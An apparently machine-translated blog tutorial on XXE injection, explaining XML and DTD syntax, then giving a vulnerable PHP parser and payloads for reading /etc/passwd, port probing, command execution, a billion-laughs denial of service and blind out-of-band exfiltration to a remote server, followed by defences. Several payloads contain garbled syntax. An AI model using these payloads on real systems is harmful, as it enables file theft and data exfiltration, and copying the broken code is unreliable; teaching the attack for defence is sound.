Web Vulnerability-XXE Vulnerability (Details)

XXE vulnerability

XXE stands for XML External Entity Injection, which is the XML external entity injection vulnerability.

principle:

The XXE vulnerability occurs when the application parses XML input without prohibiting the loading of external entities. This allows the user to control externally loaded files, causing the XXE vulnerability.

The trigger point of XXE vulnerabilities is often the location where XML files can be uploaded. If the XML files are not filtered, malicious external files and codes can be loaded, causing arbitrary file reading, command execution, intranet port scanning, attacking intranet websites, and initiating DoS. Hazards such as attacks

Basic knowledge:

XML is a markup language used to mark electronic documents to make them structural. It can mark data, define data types, and is a source language that allows users to define their own markup language. XML document structure includes XML declaration, DTD document type definition, and document elements.

The function of DTD is to define the legal construction module of XML document, which can be declared internally or referenced externally.

Building blocks of xml documents

All XML documents (as well as HTML documents) are composed of the following simple building blocks:

  • element

  • Attributes

  • entity

  • PCDATA

  • CDATA

element constraints

格式:<!ELEMENT name content-type>

  • ELEMENT represents keywords

  • NAME represents the element name

  • content-type represents the element type, which can be written in three ways:

  • EMPTY means that the element cannot contain child elements and text, but it can have attributes

  • ANY means that the element can contain any element content defined in the DTD

  • #PCDATA means that it can contain any character data, but it cannot contain any sub-elements. The parsed character data, PCDATA is the text that will be parsed by the parser.

Attribute constraints

Format: <!ATTLIST element name attribute name attribute type attribute characteristics>

Property type:

  • CDATA is a string type, text that will not be parsed by the parser. Tags in these texts will not be treated as tags, and entities in them will not be expanded.

  • ID is unique in the entire document. The naming rules are the same as xml elements and cannot start with a number.

  • The value of the IDREF reference attribute must be derived from the value of ID

  • The IDREFS value must be derived from the value of ID. The value can be multiple, separated by spaces.

  • Enumerated enumeration type (male|female)

  • ENTITY entity

Property features:

  • #REQUIRED must be set

  • #IMPLIED optional

  • #FIXED value is a fixed value. The attribute does not need to be set (the attribute will be set automatically). If set, the value must be value.

  • default value The default value can be customized. If this attribute is not defined, the attribute will be automatically set and the value will be the default value.

Grammar rules:

xml must contain the root element, which is the parent element of all other elements. For example, in the following example, root is the root element:

<?xml version="1.0" encoding="UTF-8"?> //文档开头必须
<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>
  • In XML, it is illegal to omit the closing tag. All elements must have a closing tag

  • XML tags are case-sensitive. Tags are different from tags. Opening and closing tags must be written using the same case

  • In XML, all elements must be properly nested within each other

  • XML comments are the same as html

  • Spaces will be preserved in XML, but multiple characters will be clipped into one in HTML.

  • XML tags can be customized, which means they can be changed at will.

  • XML attribute values ​​must be quoted

XML entities

In XML, some characters have special meaning.

If you put the character "<" inside an XML element, an error occurs because the parser treats it as the beginning of a new element.

Entities are variables used to define shortcuts that reference normal text or special characters

To avoid this error, an entity reference is required instead of the "<" character:

在 XML 中,有 5 个预定义的实体引用
&lt;    <    小于
&gt;    >    大于
&amp;    &    &符
&apos;    '    单引
&quot;    "    双引

In Windows applications, newlines are usually stored as a pair of characters: carriage return (CR) and line feed (LF).

In Unix and Mac OSX, use LF to store new lines. On older Mac systems, CR is used to store new lines. XML stores line breaks in LF.

All XML documents are composed of five simple building blocks (element, attribute, entity, PCDATA CDATA)

Introduction to DTD entities:

The role of a DTD (Document Type Definition) is to define the legal building blocks of an XML document.

There are two ways of declaring DTD: internal DTD and external DTD. The difference lies in whether the DTD declaration of elements, attributes and entities in the XML document is referenced within the XML document or an external DTD file.

Internal DTD

<?xml version="1.0"?> //声明xml版本
<!DOCTYPE note [   //声明此文档是note类型的文档
<!ELEMENT note (to,from,heading,body)>  //声明此文档的所有元素
<!ELEMENT to (#PCDATA)>  //定义to元素的类型为PCDATA
<!ELEMENT from (#PCDATA)>  // 定义from元素类型为PCDATA
<!ELEMENT heading (#PCDATA)> // 定义heading为PCDATA
<!ELEMENT body (#PCDATA)>  // 定义body为PCDATA
<!ENTITY writer "hello world"> // 定义一个内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

External DTD

Generic entities and parameter entities:

1. Universal entity

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > #定义元素为ANY,即可以接受任何元素。
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> // 定义通用实体
<root>
<body>&xxe;</body> #定义一个外部实体
</root>

Through the definition in line 4, the &xxe in line 7 will reference the c:/test.dtd file resource with the SYSTEM keyword, so that any changes made to the referenced resource will be automatically updated in the document.

In addition to the above SYSTEM keyword reference method, there is another reference method that uses PUBLIC to reference a public DTD. The syntax is as follows

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

2. Parameter entity

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

In the above code example, you can see that there is an extra "%" in front of the entity name. Use "% entity name" in the parameter entity (there must be no less spaces) to define it, and you can only use "% entity name" in the DTD. ” Quote.

Determine whether there is an XXE vulnerability:

The most direct way is to use burp to capture the packet, then modify the HTTP request method, modify the Content-Type header field, etc., check the response of the returned packet, and see if the application has parsed the sent content. Once parsed, then there is Possible XXE attack vulnerability

XML exploit

The file_get_contents function reads the data passed in from php://input, but the incoming data is not filtered in any way. It is called directly in the loadXML function and passes the result of inputting $username through the echo function, which leads to the XXE vulnerability. of production.

<?php 
  libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();

$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password;

echo 'hello'.$username;

?>

1. File reading

By loading external entities, read local files using pseudo-protocols such as file:// and php://.

payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
  <username>&xxe</username>
  <password>test</password>
</creds>

2. Intranet detection

Using the xxe vulnerability for intranet detection, if the port is open, the request return time will be very fast, if the port is closed, the request return time will be very slow

Detect whether port 22 is open

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

3. Command execution

Using the xxe vulnerability, you can call the except:// pseudo-protocol to call system commands.

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

4. DDOS attack

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

The principle of this is recursive reference. The lol entity specifically has the "lol" string. Then a lol2 entity refers to the lol entity 10 times, and a lol3 entity refers to the lol2 entity 10 times. At this time, a lol3 entity contains 10^2 "lol", and so on, the lol9 entity contains 10^8 "lol" strings, and finally references lol9. Constructing a malicious XML entity file exhausts available memory, because many XML parsers tend to keep its entire structure in memory when parsing an XML document, making parsing very slow, resulting in a denial of server attack.

There are two common types of XXE applications: with echo and without echo. If there is an echo, you can directly see the execution result or phenomenon of the payload on the page. If there is no echo, it is also called blind xxe. You can use the external data channel to extract data.

There is an echo:

  • Direct external entity declaration

<?xml versinotallow="1.0"?>
        <!DOCTYPE ANY [
                <!ENTITY test SYSTEM "file:///etc/passwd">
        ]>
        <abc>&test;</abc>
  • Introduce external dtd document

Introducing external entity declarations through external dtd documents

<?xml versinotallow="1.0"?>
        <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
        <abc>&b;</abc>

evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
  • Import dtd documents through external entities

Introducing external entity declarations through external entity declarations

<?xml versinotallow="1.0"?>
        <!DOCTYPE a [
                <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
        %d;
        ]>
        <abc>&b;</abc>

evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">

No response:

Utilize parameter entities:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

Calling process:

连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 &#37;),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

防御方法:
  1. 禁用外部实体

php:
libxml_disable_entity_loader(true);

java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤和验证用户提交的XML数据

  1. 不允许XML中含有任何自己声明的DTD ,过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC

  1. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

Guess you like

Origin blog.csdn.net/weixin_43938645/article/details/129464701